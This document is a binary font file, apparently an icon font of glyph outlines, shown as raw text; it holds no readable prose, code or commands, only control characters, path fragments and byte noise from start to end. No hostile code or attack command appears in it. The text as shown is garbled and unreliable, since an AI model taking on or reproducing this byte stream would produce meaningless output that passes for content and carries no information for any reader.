E#<##<#E(((((((((((((((((((((       	  3 = A  #546;246;#+"&=>%+"&=#532%2#546353`	@	` `` `			`	p@00		w,$;)%-9)G,,	w	00	         # +  54622+#5.=#"&=4637#5462 0		I7@7I		p@0pp	 	 :XccX: 	 	p      @   & 2 > J V  2#!"&546;54632=#72=4+"3!2=4+"3'2=4+"3!2=4+"372=4#!"3(
(!
(
(h8h
!

``((     ,  '& /&47>2"&4%'&"/&4762{"nn"W6%%6%"??"W%"dd"Q99%6%%6y"

66

"L       / ? O _ o  2#!"&546354&+";26=4&+";2654&+";26=4&+";2654&+";2654&#!"3!26P&&&&&&&&&&&`M&&&&{&&&&{ff   # / 7  '&?66754621%#".547>"&53z	
	
%=8H	~		&

	
	p1V:,C
	
2%       !  2#!"&=46;76;2!+"&		`		x	r		 		 	MS     8  2"&4654/.#"&546326?654'.#"32>ΑΑm#'("$>R$C) 8Α"	0 !+#	R=)B&      : F  2#".'#"&546326;2>54&#"3276#"&462654&#" jJL*,4Q9*- jNLllL6-
	=JgQ%$|d?T91BVy2JVll	(Α))      #  ?+'754 "/&4?62763~~-8  8M))Ms~~  8-`8PM))M       ,  70#"&532762#"/&54>76XF:@@j UP.
@	'%?J8@XC			
D:a5	#8    # 4 ? J U  %"&""&#"#"&"#546;5335335332!526226226323"&546523"&546523"&54652'/''('/'@@@@@@''/''/'' 
r 
r 
@      P`      @%&%&%&            %2#!"54;2%6!57>(5ZWU@(hhr    !   #  %2/7+5463&'&676
=	
Y<K`wZS:
A
	+`\	        2  %2#!"&546;22/"//&?627'&63		0	 		 `

I.D

II @	 	P		 	v `		J.E		JJ         @     2+"&463264&"264&+PppPPppPKjKKj5KK5111ppppjKKjK KjK77      @    2+"&463264&"PppPPppPjKKjKppppKjKKj  8 < K Q g  2'.547'+#"&546327#"&54>;23'#"&=46;263&267#"&?&#"?#654&#"&/5KK54K)V4E,5KL41
W	r3		@N+J(	Q-	!//J$"2/!

--, M55JK48&*6K64K0
			}J&vI/B/`x( 0`0"!/H	G,     4 < L T  2+++"&=#+"&="&=#"&=46;5462 264&"7!26=4&#!"264&"

  

0  @
P
    
P
0".."0]p         ' ?  2#!"&5463&546?6'.676/&&546?6'.676/&`=@RA?S>@RA@R %"4./6%"4./6     9  4&++"&546;2+"&52+"&546;23265463!p	0	
8P	0		P8
	0	p!	!		
P8		0	8P
		!(	    B 3 W  %!!2#"&'&7#'.'4>7#"&=46;2!2'#54&+"#";;26=326=4& ! #	FF

g
	/t0		0		0		0		 #! !W

	-(		(		(		(		      B 3 F  %!!2#"&'&7#'.'4>7#"&=46;2!2'#54+"#"?6& ! #	FF

g
	/y++DD #! !W

	-<<DD     < D  %32#"'+".'#"&=463267'&6?546;546;232%7625=,

X70#7X

,>F*@

@*v
vK")

;!;

)"F#(

(#X&&X      2 6 : V  %#!"&=467'&6;&5&54767>?6327/77475#"'0326762676#%
:@F

F@;
 2*2J,42.	=#--$><!1"		"1!x(  (     H W m  2'"&547'+#"&7>767&+"&546;23'#"&=46;276;2+6267#"&?&#"%6&#"&/7>4KL64K-
TE,6KH2 8

8EB		P&-

R (	Q)!//0"122"+ K46LK4;')-
*6M63H

( 		&*
 
7K/B/L"2QR "0+       $ @  %"&54672654&'56&"&462"&=46;2732#+"&5pAOԖOA!3zz=3M6%%6%&@v.(88(.	!!%6%%6```     )  %3"/3727#'&"'&"#&6?62762@m^9$!w1:$f!$&n''n&,H		%i(7		b	
V(i%((''       ! )  32++"=#"=4;5.5462264&" ?1$$($$1?TxT/B//B3N4($$(4N3<TTB//B/             2/"&46327'&63264&"tQTxTT<*#PB//B/OP#*<TTxTQ/B//B      ; C  %32++"=#"=4;5.547&'&'&6;227676;2264&" ?1$$($$1?3&(
F
(&3/B//B3N4($$(4N3C+ /

/ +"B//B/    1 9  2/32++"=#"=4;5.546327'&63264&"tQ?1$$($$1?T<*#PB//B/OP#*3N((N3<TQ/B//B     P X  2/32++"=#"=4;5.547'/&?'&=4;276627'&63264&"Q?1$$($$ 3			O	#T#PB//B/OP#*3N(((;"*#	O	Q/B//B       ! ) W  32++"=#"=4;5.5462264&"32++"=#"=4;5&'673264&#"&'632 ?1$$($$1?TxT/B//B!$$($$"!//!"'2<T?3N4($$(4N3<TTB//B/4($$(4/B/ T<3N        ! N  2"/"&46327'&63264&"%2"/#".'672654.#0"1677'&63T
1TxTT<*#0B//B/
1T<%?'!/B/%!0O0#*<TTxT1/B//BQO0#*<T";$!//!%!1      @ & H P  2"/#"'673264&#"&'6327'&63232++"=#"=4;5.54264&"4
1T<2'"!//!"'2*#0oxT?1$$($$1?oB//B/O0#*<T /B/1@T<3N4($$(4N3</B//B       + 3  2//"&54>327'&?67'&63264&"t			TxT'B'*#	B//B/O			#*<TT<'B'			/B//B    ! , 4  7"&47675#"&=46;5#"&?6+32+64&"*TxT*(88('//B//*xTTx*	(88(	/B//B/     0P ( 0  %&=#+"=#"&462354;2354664&"		8(	*xTTx*	(//B//8(*TxT*(/B//B/        +"=.5462264&" ?1(1?TxTB//B/3NN3<TT/B//B       0 P    "264&2"&4B//B/xTTxT/B//BoTxTTx    	       / 7 ? O W _  !"&=463!2&"264&"264!"&=463!2&"264&"264!"&=463!2&"264&"264@3NX@3NX@3N @@X@@X@@X       # + ?  %2++"&=#"&=46;546;2"&4622#!"&=46;27p		@	 	@		@	 	jKKjK&7OO7#L#	 	@		@	 	@		@0KjKKjkO7**7O        # 7  %//&?'&?676"&4622#!"&=46;27N-..--..jKKjK&7OO7#L#.--..-->KjKKjkO7**7O       +  6"&462%2+"&=!+"&546;235463B//B/.B	 	 	 		 		/B//BQB.		00		`		А	     ' /  ##!"&?"&546;254&#!"3!26"264N4??4NO12N0


0
.!!.!` '9229' '99p

p
6!.!!.        ' 7 ? G  ##!"&?"&546;254&+";26754&+";26"264$"264N4??4NO12N
h

h

h

h
((((` '9229' '99p

p

p

p
.((((        `  ! %  !!535#7232+#!"&=463!5    

 ` @@

`       `  ! %  !!535#7232+#!"&=463!5    

 p @@

`       `  ! %  !!535#7232+#!"&=463#5    

  @@

`        `  ! %  !!535#7232+#!"&=463#5    

  @@

`     `  !  !!535#7232+#!"&=463    

  @@

      D   %#&/&546.j815W	wY	
	     H  #"32+72#".'#"&=4632=#"=4;54".=4>32>32 T$$T-.T$$T-.0p(p1((0p(p1(        , 8 G  32+"=!+"=4;#"=4;2!54;2+;2=4+"54++;2((((@T
H@((@((H
4     @ + ]  7+"=4;5#"=4;2!54;2+32+"=732+"=!+"=4;53;26=4&+5354;2+@44 4444
@

h44444@44H

@
H4        %"!"&5463!2+538



b




7b
       !  2#!"&54633#!"&546;0/ `0 !/       4 7 c  %"&5054676762'3#"&505467>762'3'2#!"&=46;&'#"&=46;6232+ KjK
<
H";#5K
<
ȐH		`		&		N		&p!//!<4&(59	%/!<

(59		 		 	')	 	  	 	)       * 0  2#2#!"&=463467.5"&=4634&"h

D55D



D5#7

=V=

CkkC



Ck8O-

@;UU;     * 0 6  2#2#!"&=463467.5"&=463."65#h

D55D



D5#7

2<2

CkkC



Ck8O-

$,,$ ""     * 0  2#!"&=463467.5"&=463!2265#hD55D



D5#7

P
V=CkkC



Ck8O-



U;;       *  2#!"&=463467.5"&=463!2hD55D



D5#7

P
CkkC



Ck8O-



        ?  2+"&=4/&=4632546323546323546323460
p pt
d+B00/     8  2+"&/&>54>32354>323546323546


}
!	 



@q!,ױW     .  4635#"&46;5#"&46;5'.7>7>+"  в$	pP	""(EK@
       @ &  54/&+"&=46;26?6&+"&=463!2p
%|

!
N
 =G
%3	!
	t  7   +"/.>5'&>763'&67637>376 $!='#
040 ,c*Y~!9P	     - 1 5 9  %+"/&>46235462354623462#37#37#3 
!	 """" XX`!,((a`````   -  $2+"./&6?'&>354623546234" @K%$E("P
p	$       `  G  2++"&=#"&=43+"/5#+"/#+"&76;236?6;2U6Ut6		2		6A	+	+	A`++6"UU6(5        *  %+5326"&462&'654+";26=3;26ۑΑ+&jG		
,8'ΑΑO2Y


HS      # '  2+32#!"&=46;5#"&5463!P		`		  	 		 	 @      + G  !"=46;54;2354;232!2#!"&544+54+"#";;2=325X0((0LH<(<<(< $4444$ <<(<<       + 7  !"=46;54;2354;232!2#!"&542=4+"3X0((0L< $4444$ ((       + G  !"=46;54;2354;232!2#!"&5476/&'&??6'X0((0L0			00			00			00			 $4444$ 0			00			00			00			        + ;  !"=46;54;2354;232!2#!"&54'&'&?6X0((0LY	j.			R		 $4444$ `	j/	T	          6#!"&546;276
0

p




XD        	    727"/2"&4724#"2546pxTTxT&6(!!TxTTx6&(      $ 9  #!"&=46;546;23253+"&2#!"/&?6;53+	

	 		@	 	

	++	@k,	
P
			9pp		
P
	,,	       @ 
    4>?&576
	
J
8?
0@
8       2+&=#"&5463&&}`&&&&^T& &       '  2"&454&+";26754&+";26ΑΑ	0		0	p	0		0	Αη								         2"&454&+";26ΑΑX				Αη				       ! )  3#!"&535462#354&"264&"264&"``/!!/`KjK&4& !//! 5KK5  &&   @ * 6 B N  %+#!"&/#"&=46;7>3'&>3254&"26754&"26'54&"26@


CkPPkC
p


mmp

p

p

p

p

p
     C G  +32++"&?#+"&?#"&?6;7#"&?6;76;2376;2327#
OK
P
(b
)K
OK
P
(b
)Kc

	(
V
	RV
	R	(
	(
V
	RV
	R	       -  6"&462&"2642"&4264&"32+"&76\BB\B\((\BB\B\((h "	pB\BB\^((B\BB\^((0

       G   "264$2"&462"&46"264>."'&67673>'.56VzzzΑΑpppRHLH5	


	zzzΑYpppDM/A.!!.A/       B  #"/67'&/"&462&/&#".?5#"&=76;2|}~?$$$ofB6

= ?Ú
X<$$'l	P
_O		          7 G  7#76772+57#!"&5463!2'&+";2?3;2>74.+";26		/`9	$9	4	-99.5

1b_ 		T+4  ! 3 C S  .676#"#'7232#"/&764'&?67/&764'&?6/&764'&?6a@-.?
@ 8  8 @		_--
	%%	
&

;@@
(
QZZQ
("V66
	-t-	7#X#
	B	           ' / 7 ? G O W _  6"&4622"&42"&42"&42"&42"&42"&42"&42"&42"&42"&42"&4%6%%6(6%%6%6%%6%6%%6%6%%6%s%6%%6s%6%%6s%6%%6S         8 @ H ` d  7"&5462"&54&"&2#"&4632654>54&""&542"&42"&4%"&54=.'.7>'7/B/1g?-FdFSm Q@
	Qf"P"!//!
gI+	-?%&2FF2ImDo	V"P"    2 A t   &2#2#'&/&?6766766&#"32763&%.6767&'&>767'.7>7"'&63"&7>376"#32654&# !=+^C,:)
F"(-+
%

	
p:)
F"(	-+
	 !=+\C

3	!Y	!JZ9	


A
4!JZ9	


3	!G      8 D Q  7"&5462"&54&"&2#"&4632654>54&""&54%/&?6"/&?6/B/1g?-FdF		W	W			
		!//!
gI+	-?%&2FF2I	W	W					    2 ? k  46;5#"&546;5#"&546;5#"&746;'.>+"&7'&6767154/&'&6767'&6767'&676'&>[>~}
	|PkI%		={4	
N^
	_M
	g$Z
.

#

0ZC	
cy
	zb
	&   @ - E  %&'#"/&'&767'&6?6632654&#"6"326591W+)w}q<1W+5(*Y"P8*&T+:
e	:(fT+:
H
W'38P	=          ( / 7 W  2&/76'&"&'&4757633#"&5:64&"3#&"264///#576;?	7
P"

b	`@)			`				
		
 	5[7	TR;	7vI
!Z@ 			) @			

	&
R7	K<      F  #!"&547670>321&0#".'&'&2>767654' `)||)B#GG#	$FF$ Z		Z B3		32

2     ' / D  #32+32+#!"&5463!232&"26454&+"'#";26@4&&4&0'*		 @(@(00( &4&&4"     @   + 7 C O  2#!"&5463"26454&+"'#";26754+";2=4+";2=4+";2 4&&4&0'*'		``&4&&4""=HH          2"&4$"26427.#""'&#"ΑΑH44H494 ( 4Α14H44HD!!       # 7  2#!"&5463";264&#"26454&+"'#";26P`		`		4&&4&0'*'		` 				&4&&4""     @ 	   + 7 ? R  2!5463!#!"&%;2=4+";2=4+";2=4+"&"264;26'.+"'#"0@ `4&&4&

"*p0HH&4&&4     3 C  #0#"&54754622654.'54&"37"&5475462 K55J 8P8`!/(%A%6%  `%05KL50$(88h/!			
		%P%%%    " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%0%05KL50$(88(			
		%/     " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%ii0%05KL50$(88(			
		%/     " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%))0%05KL50$(88(			
		%/      ;  6"&4627#0#"&54754624.'54&";26%6%%6E K55J 8P8(%!/[6%%6%%05KL50$(88(			
		%/     ! ) 1 9 A I Q Y a i q y      "/&47.7&#"#4632662"&462462"6"&462"&46:"&42"&462"&462462"6"&462462"6"&462"&462"&462"&462"&462 .@S;7):			)			W						2			`						)			W			w			W			W			I									8O. 2;S%H									)									)									7						)							)			)			       F  %2++"&=!+"&=&=#"&=46;5463266/&7.7&#"

 

 

 

/!*$_		

 + 



 + 

!/"
	_/        + Q Y  "'.542''&546'&'&7654&2&767>54.#"'.542"&4Ju.W=9R0;)%5F8%,!+6Ig*$9E6%%6%)U,,U
+>=UQ9A,
()95%+]BlN.5, gH-NlB]%6%%6        2#!"&546354#!"``TT        `   %2#!"&=463``           ! )  +54&+5463!2#!"&5463!24+"3 0/!  D!/0 04    	      / ? O _ o    +"&546;2++53232++53232++53232++53232%3#"=#"=4;5473#"=#"=4;5473#"=#"=4;5473#"=#"=4;54`****************`N0f0f0f00`0`0`0       %/&/"/+"&="/&4?5/.?/&?'.?>7'&/&6?'&?6'&>?65'&4?6546;2762?>76/76!?5
 	6?!"F@@F"!?6	 	6?!"F@@FgG$N5(		(6N$G%%G$N5(		(5N$G%% 	   '"/&4?&67>(0$X%	3	$1*1$	3	%X$0       * <  +"&?.5476227>56227562.>32+"&7% 
@
,,,y,"*9

8_"&7

*"_G;#VLB&
0

   &  2#"'&?632676&+"&=466 CrCg_G
	(0?FaeEB0*
$GBsCg@	(*bEGc,*
$E    	  ! - E  !#!"&26=4&"26=4&"26=4&"%2#!"&=46;76;2 				`				`				@		`		x	r	P													 		 	       :  &#"+"&7>3276+"&73232>76;2#"'&=46s1B:[
9ZcH$
׆*1B&D0	
9ZcH$;-G8		WsE$
y*-!9%		WsE$
    " 0  %"&54675#"=4;2+7654&+";2zzeKx8,			"((VzzVMu"(("	$			3b        1  %&=#"&=46;546+"&=46;2+";2

T(88(TTT`
`
`8((8(         1  !#"=4;26=4&+"=4;2'&=#"&=46;546TTTT(88W

((8((8`
`
`    $  276+"&?&'&3276#"&46 dG$
*0BEeaF?0(	
G_gE$
*,cGEb*(	@Α      0 8 D L  %#!"&5467&546;&546;2654'6323232$"2646&+"26&264&"#**#*&!/	(8&*<8<%O(**(#*&/!8(&*#[x  `   @  ! ) 4  %#!"&546;3%#!"&5463!24&"2!5'&'&/!((D`X(  !/P D((`0pX(       ! (  /&?62'6&?6?6&5#75.	o		.(<	o		z\


$$ @2.		o	.<(		o	z 


h0@ $        &?'762#r99(cr)(99    	 !  '762&7>?'/&?6299(US"r/7"fw!v(99(TS"7/r"fv         732"/&6;4;2.VV.8fVV.  M3   7/&4?6!2#VV..VV.8    M3   %546&=!"=43:VV.VV.8         #"&?62++"5X.VV.8VV       ;  %+"&?'+"&=467'&=46;27'&6;2/76
p$kk$p
$kk$
p$kk$p
$kk$hp
$kk$
p$kk$p
$kk$
p$kk$      )  #!"&546;46232&"26454+";2P&4&PHP`&&4d   M3   46&=#/&4?63zVVVVVV..VV.         72"/&6;5#"&?62+VV..VV.FVVVV        "&462#"?6&+54+"ΑΓGssG@'ΑΑtsst         "&462'#54&6=32=4gΑΑtsst8ΑΓGssG@      2"&43?6/&#"ΑΑtsstΑΓGssG@      6462"75326/&;;2ΑΓGssG@YΑΑtsst       4  %2#!"&546;2+!54632/"/&4?'&63			@	X
$$	`	 	p	@
$$      #  #!"&5463!2#"?6=4&`Xp 			 p`$ 			 p
        +  5463!546&=!"&2#!/&4?6
hPP


PP
0PP0

0PP0       1  %#!"&54674546326326&+54&+"#"7.K5<T6*^B,J(8A	0	Aj$65KT</JB^,$8(ip		pj     1  %#!"&546745463263226/&;;26=.K5<T6*^B,J(8jjA	0	$65KT</JB^,$8(Njjp		p      @        #'#!7#3#3'!"'?3&ZeE0EEPEee{GC{e  B    E   %"/&6;#"/&6;232:hh
@T8
@8pp8
   E   ++"&?6;#"&?62:
@
8T@
hH
8p    @ &   2+"&=4&#"32#!"&=46;54i}Z
 
+*0Y?P

P*+GF@          .5462"&264&"="pp"=B//B/6#X$5"PppP"5$X#
/B//B      ` 0 R  232+"&=46;5.=46;26=463"&=462#";#";#";P	WA8				8AW		B19T	hP88P8UUUUUU 	0Bc	"				"	iD(		*3NM80	8((88(  (      @   #  2+"&5463264&"74+";2c` Y8        - 2 7 ? D I  %2+"=4;5#"/&54?6;2%2#!"&546334&#5265#264&"5"75#`@@%%@P88P8p%@@%7
X@%% B\BB\b@%@%     (  %67#"/&?6'&?667'&?6Pyp
	
a<0heC>Wh0

	$%2p         +  2#!"&5463"26454&+"'#";26P4&&4&0'*'		`&4&&4""       76&7>.'/&44PL20#	.6"
P	)B,,U2&X
         '.54>?62>7'.=9*M@'	Kcl?sSC)C_G
PF%lJ      #  2#!"&5463264&"74#!"3!2H` Y8     @   & . B L T  2#!"'&54%"32?4761.264&"6264&"%6.'&3654'73264&#"264&"'	D	' 					C
=#	n	L
.wNCCNwi		5
		%      @   /  !!$3#!"&=264&#5463!2"'4&#!"3!265@ L


P
 t(``(``8



        $"&4622#!"&=46;27<xTTxT5K`K57#L#TxTTxtK55K         +  2#!"&5463'76/&'&??6`LCC		(		BB		(		CC		(		BB		(	`BB		(		CC		(		BB		(		CC		(	      & ,  %#"'67'&477&'6267&'%6'77&7p!HddH 66 HH 67T'FF'!DD!&FF&!DD"MM
CCMM
BD       
      & +  '6'676'7&'%'67%&'667*N5i.9S?N7M
<.4b.8S?^N7M
.4b*N5M7N,.Fb4"N*E.?S,.Fb4"N*E.?SM7N,            2"&4264&"6264&"264&"ΑΑk`Α'Z        ; S s {   7'&546;5#"=4;54;232+3232+#65#"&=463+"&=4?546;27'&=4;2354;2354;2#7354&"+"&=4?546;2J"	99	"
										t6~/ 		w						Z	  	Z		A??A		
		
		
;;
RP  		
		
		   @ # 3  7467.546;22?#5&2#!"&=463G*@&!ld88(				5"=le<+C,,]	 		 	              # ' + / 3 7 ; ? C G K O S W [ _ c g k o s w {   #53#7#53#'3##53#5#5#535#5353#5353#53353%3##53533#753'533#%3##5353'#5373#3#'#553%#53# @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@ @@ @@@@ @@@@@ @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@     6  !2#!"&=4632!'&546;5#"=4;54;232+				p		JJ((0((	 		 	 		00((00     ' / ?  7.=4?'&54;2!54>?>=#"'4"2642#!"&=463	Oq9
	(					
	pP2	 		 	      @ # 3  7.546232+#6=#"&=4632#!"&=463i=V=								/+==+/	 	P++P	 		 		 	        I   "&4622#!"&=463!'&54?6323>546;22676;232676.!!.!x				ff

' '

P!.!!.	 		 		

     # + ;  2!65'546;23546;23546354&"2#!"&=463p	@@	8	0	P	0	X					 VJJV 		00		00	@@	 		 	       / S  2+"&=#"=4;54632++"&546;2'2+"&=#+"&546;235463h

0

@
0

0


0

0

0

`


h0h
0h



h
p






        Q  '&'&'&'>7'&'&'&??6/7?6/7?6/76/&63463ggf45[45ooT      # - 8 B  73+"+"=4&+"&%#.54622654''4''32674''326`(@$-5zzH@ 5,&]7Vzz/
M          <62"'67"&5ԖԖ77ԖP88P8((n(88(     # 5  %/6?6&67>32"&54>'7>76 W65_<Q	"..C.
";V"
m($* pJ/B//!A
+m7+	          !!   @   	 
  '  %&'762&/"/&4?'.72"&40q"8??/)$Y5g#	>P88P8 /8??/$g5Y#Q"8P88P   
   ( 2 @  7.'>7'&67&'.'667&'>7#"&'6#0#6&-V!	`D$>_GE#707%0344LS)(F>/Ov]&K
0K*,-'p4/Gr 2Oc?Q&6'2U(
1)+*WR"/D_5E     : B J R Z b j r   2+"/&>5462;2=462;2=462;2=4264&"6264&"264&"6264&"264&"264&"6264&"}
!								I							I			)			)			Pq!!H			W						W			)			I			w			        ` 	    ' / 7  46;#"&52+!&"264"264&"264"264&``&@&&` Fn && &&@@RnR       	    0#532'#617>3!#!"&53c `
!    @  ) >  %2+"&=46;75%"&=46;7532#2+"&=46;750				P  		P  P						P  				``@		``		@				``        9  2#!"&546;546;2'3554+54+"#";;2=32`P 808808@ 00   088088    
   "&5462654'Ukkkj,T6``M:^vv^:5*8ii8*   G  % /  %#"/&'"&=46326763254&"7'&#"+'$<"B\BB.-@$<"(#RA']1
.BB..B>,!1pp-:]	)        -  2#!"&546;462&"2646/&'&7PP&4&6a			j.			R	`&&	j/	T        % - 5 A M Y  2#!"&546;462264&"6264&"6264&"6"26454+";2=4+";2=4+";2PP&4&h`&&RRhh       3 ; C K [  $"&462&"&462'&67676563267'&'#5&$"264&"264&"&4622#!"&=463			H44H47VJ<E /
2781
7n										G4H44H	
 #	[[n				 		 	    < A G M  >7.'&6;2!676;23&'67+"'&'!+"&67#7!36!&'# B--B 
 8 

*M1," *9
  
$	./DIID/

(?9@$Z8		h    B  5 =  %'&>?7'76&'.'&7#"&=46;276264&"&5>!=!=<D-+,\Y		pd-((cc5)G,8,7#	 	$G((      B  7"&546;7532#2+"&547#"&547#"&5#"&=46;2		00		 		S((S	0		`		 	  	 	@	 				p	 		      6  #532;#!"&546;4+54+"#";;2=325y
7



@808808W




88088     / 8  ;#!"&=32?3264&+'&"'&+"=4;546;#532 


F#
9Z		F#
98
ș
8


Fr,		Fr(
i
    @ 	  ) 3  46;#"&5!%;;2=32=4+54+"#"%2+00@ 808808P0p@0@088088   @  % 1 = I e q }  2#!"&546;546;254+";2=4+";254+";2=4+";2754+54+"#";;2=3254+";2=4+";2 		 ((((((((((((`		p@@((((t((((((((       #  2"&454+"#54+";2=3;2ԖԖp0`00`0ԖXXXX    @   . 8  2#!"&546;35"26426'.+"'#"3#546;2 F4&&4&
"*
@```&4&&4``      9 E  2#!"&546;462&"26454+54+"#";;2=32=4+";2PP&4&6H808808`&&088088       8 < @  7"&=46;7532##32#!"&=46;5#"&=463!25#!5#		p@@p		00				00		`				  		@	 		 	@	 		 	@@@@@    D    '  2"&=454&"7.7>/&76B\BB\B(/vT"S	#/B..BB..pp#	Sv/7Tv/"     ! 1  5!#!"&=32=4+532=4+532=4#72#!"&=463 @ xxxxx



 @@@@
0

0
         5  2#!"&=463!#!"&7;;2=32=4+54+"#"h



@ @808808
0

0
 `088088     # ? G  %2+"&=!+"&546;235463'"=4;276232+'"/"&462.B	 	 	 		 		2f		z2L4&&4&B.		00		`			(c		7		,c		7 &4&&4       I Q Y ^  %2+"&5#"&=32=4+"=4;2=4+"=4;2=4#!"=4;5463!232264&"264&"75'#p		08P88P88 ,d,((\((d,`	 	(88((88(00dlp((((dp        # 3 7 N Z  %2+"=43+"=4&'&=4;22#!"&=4635#+"=4'&=4;22+"=43x0).0$0p		`0$<0X0`	W1&B%>>		@p@@B9!,*AB>,   >  7//&?'&??6/7?6'7//&?67'&?6@&@BC87-8-I""9-ACB@&87.8-J""8-     $ .  2#!"&562#".'463 /&76.76dx[		/	[<7*T	#/F/vT	# M::c:M$1kTv/#F#	Tv/     (  #"&4?57?6/7?6/7?6/7>#dYY-22-22-23.M!RYYe.32.32.32.       /#"'&6?'&?67'"+/"FO"$ R"EO        ' ; ?  "=4;2+"&=3352#!"&=463"=4;2+"&=335H/B/0@				X/B/0@00!//!``	 		 	00!//!``       # A  %2#!"=432#!"=43%2#!"5743%+"=4&#!"+"547%62ppPP`00`0000 W q       ! 2  2#!"&546;2654'"&462'"2654'76.&&&&qqd^^^""&&&@&-3OqqO3- ^^^:O         3 }  62"&4"&4622#!"&=4632#!"&=46;!'54+532=4+54+"#";#";#";#"26=3264&+532=4+532										`				0 `hhhhhh@(@(@hh@							 		 	@	 		 	`    ((      " -  %2?/.=32?7/76!6/.7

@@\\'66'kkp8 

 8       $ ,  2#"'#"&'&>7&54264&"264&"264&"Ԗj83AL9szz319JVv    $  747#"'#"&767&'&?6632@	E&(83AL,9:
	
iI`j9
3
4+9

	R5zVH:         9  74&+463!2#"!%2+"&=!+"&=&546;2!5463& 8(@(8 && 	@		@	 & &(88(&@`&$y				y$&``         F h  $"&462'+"&;26=>54&/&546;2?6&'&'54&+"2#!"&=46;#"3!2=4+67Vzzz"?
&
	
">
'

@ +?

l

@, zzz$!




$!



``''   	 ) 1  &'67673+#&'&6?&'&54762546264&" N5 
,pp ^BMA
k.U}N/			;1%
E8K@B^8H$Qh=7	
EX<!/`			    A  %  %#!"&=46;76;2+";2?625		7/ *N		v]	x
	y	`	&		J    A  8  %'&6767>"#!"&=46;76;2+";2?62m=<m		7/ *N		v]	rHHrH
	y	`	&		J     A E o  .'&67546;2'&+"+"&=&'&5474?6;254'#!"&=46;7>;2+";2?62 

	$	6 
	$			7/,N		v]	0%			%		

y	`	&		J    " E  7+"'&/&=4622?6/&>$2+"&=4?>2?549	i
Z
&
i	9&
ZM"+p		l	3		p+"M
3	l     % @  2+++&/&6?54?26=%54&+"&=4?6;76

&gPPA*<*,P!"!gg 
0
@&<.0$'z**8%.!X~	
<    5  ++"&=47'#"&7>7#6;5#462#327#4' 
				
.C)>t0pQ^Qp0t>?X
		
$A,DlRnnRlDT        e n  "&462"&462#"/?#"#.?6?'#&/&/"#"&/&?676546;2?676.7((d((N)
C
	
+33+

C$		#)`((((pE.d L]\1G!!G1\]L P '"
`		`
"' .E
   @ C K Z  %2++"&=#+"&=.5#"&7>32+";>;26;264&"'"4&54621&#0		1	@		@	("
+X:, i			8P8		Q		00		Q'0&	7I"L@			(88(      )  ?/.%'.4>?6762'67&"uO[D		E,
"k
,"O4!Z!Xf#	II@&W;        & . ; C  %2#!673264&+"&46;&5462#"3"2642.54264&"(88(`(88(--8P80`mxP80 5S8P8!8P8@ (88(P 8(P&V(H        2+"&="&5%3&'>@]	 	]@tU+)2;`]		]@V	=/*     # '  2#!+"&5#"&=46;546;25!			 	0		0	 	 @	 			p	 	0		0         " /  <62"4&"276'.#"?62&276&"Α7

%
&--

#nYΑΑ						o66*         !  2"&42#!"&462&264&"4&&4&		p]CP88P8 &4&&4	 	]^B@8P88P   ) 1  7'&>?7'72&!#"&'/&7%46264&"21M>M2L B.-AwZ((H\]:~p.B?-l.^D@((     ) 1 9 ? G  %+"&547##"'#"&5463!232264&"264&"%3'&#264&"m	/B//!((!/&0\+V	!//!!/  /!P`0+      &  /'&?632576%5#!"&z
%	
N n"n
	!
	=K 
    %   2+"546;5.?4>;2(4@	@4uW77Wu     !  '&?6>323!"&=46z
	
M2<T!0O


	i/=T<0&3
7O     . 6 R Z b  7"&=46;>3232+"&'7;26=4&+"/?+54&+"#"&=46722"&4&2#54@		P0.%			P`P8(0(8H$$$$3EPPE30p			W	 	`	+5$	`	+55+X(88(Y$$$L3
@@
3L`					00         +  $"&4622#!"&=46;27%/&?676jKKjK&7OO7#L#T		Q			-i	KjKKjkO7**7O	R			-h	      + 3  $2"&454+54+";2'!"&=46;2732&"&462xTTxT
&


<
(#O7#L#+jKKjKTxTTxB
6

L
,L*7O&HKjKKj    ; C K v  %/'&=&''&'&?&7'&767667547676264&"&"&462#!"&=46;2732332?b
!!

!!
((jKKjKIO7#L#


	K    0((tKjKKj
*7O'        $ /  $"&4622!"&=46;277&7%'?62jKKjK&;)NO7#L#>G=*H%KjKKjk.M=
*7OG*H&        # 7  6"&4622#!"&=46;27$"&4622+46=4'6;27\BB\B#0CC0	!F!P88P80.B(*B\BB\bC00C 8P88PXB.'9+        :  %#!"&=467&4?6"&547'+"&?&5475?6KK6_`KjKB*M6

6M_P..5KK55>	>;       3 ; C  $"&462!"&=46;2730%2+"&=46;5462264&"754&"jKKjK 	O7#L#  /B/]@KjKKj*7OP!//!P}PP        +  %2+"&=463"&4622#!"&=46;27p				jKKjK&7OO7#L#	 		 	0KjKKjkO7**7O     % -  %#!"&=467'47&52>32#"&'7"34&#E4GG4e++1#5KK5,CgL4**4Lf33(KjK5)`         7  %'.54?6>7'&"&462#!"&=46;273230n$"5Ps!;`jKKjK 7,	
O7#L#$@/&sN-N:&KjKKjsDm#*7O      !  '&?6>324>7!"&5z
	
#8!5K0&3


	r 6K5)B 9%       + @  %"/&=46;22>4.#"'".54632#!"&=46;2732w	
\		[O\
#;"K5#;"KK:O7#L#S		]		[OEX";#5K";#5Ko(:*7O          $"&462#!"&=4677'3jKKjK 5KK50  `  KjKKjlN5**5N88      ; C K b    %/'&=&''&'&?&7'&767667547676264&"$"&462"&5462"'&#""#"&=46;323630#3273'#"&=46;2b
!!

!!
((4&&4&.BA]B	
fD/	!##
(B&@k    0((t&4&&4FB..BB."


0C '	:# &     * B E [ ^  !2+"&5&'&/&6?&5463276%#"&505467>762'3'1"&50546767623'			
/!.v
  ";#5K
<SȐH
KjK
<fH	 		W0+!/(',!ِ%/!<
j(59	!//!<4&  + > A W Z  46;&/.?>632/+"&5'054676762"&73'0546767621"&73'`	 
v.!/
		`
<SKjK8H 
<
KjK8H	'!,'(/!+0			96(!//1	95(&4<!//1        ; ?  %2#!"&=463264&"";#";#";!'#"&=463!3'#%%sHri 	gQQF@%  %`@@@`@      @  "  6#.5476'&'"&546OM{O'	l	//		'R	        $ 9 K i l  "'&476;2#'+"'&476;2%+".7>&'&>;22+"&764'&63&/#/.7&54>23'"		_		#
#		#		#y"		R11"p`0 6,4]+	9|9	9|9	)[6@6,dvv:t     )  %/6?6&67>3%'7>76 W65_<Q	";V"
